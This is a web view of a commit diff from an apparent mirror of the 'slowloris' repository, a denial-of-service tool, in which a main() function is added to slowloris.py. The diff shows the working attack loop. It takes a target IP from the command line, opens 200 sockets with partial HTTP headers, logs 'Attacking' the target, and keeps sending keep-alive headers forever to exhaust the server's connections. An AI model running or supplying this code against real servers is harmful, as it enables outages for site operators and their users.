mirror of https://github.com/Askill/slowloris.git
Added main function to slowloris.py
This commit is contained in:
parent
18cb078818
commit
f5b884ceaf
13
slowloris.py
13
slowloris.py
|
|
@ -26,12 +26,13 @@ def init_socket(ip):
|
||||||
s.send("{}\r\n".format(header).encode("utf-8"))
|
s.send("{}\r\n".format(header).encode("utf-8"))
|
||||||
return s
|
return s
|
||||||
|
|
||||||
ip = sys.argv[1]
|
def main():
|
||||||
socket_count = 200
|
ip = sys.argv[1]
|
||||||
log("Attacking {} with {} sockets.".format(ip, socket_count))
|
socket_count = 200
|
||||||
|
log("Attacking {} with {} sockets.".format(ip, socket_count))
|
||||||
|
|
||||||
log("Creating sockets...")
|
log("Creating sockets...")
|
||||||
for _ in range(socket_count):
|
for _ in range(socket_count):
|
||||||
try:
|
try:
|
||||||
log("Creating socket nr {}".format(_), level=2)
|
log("Creating socket nr {}".format(_), level=2)
|
||||||
s = init_socket(ip)
|
s = init_socket(ip)
|
||||||
|
|
@ -39,7 +40,7 @@ for _ in range(socket_count):
|
||||||
break
|
break
|
||||||
list_of_sockets.append(s)
|
list_of_sockets.append(s)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
|
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
|
||||||
for s in list_of_sockets:
|
for s in list_of_sockets:
|
||||||
try:
|
try:
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue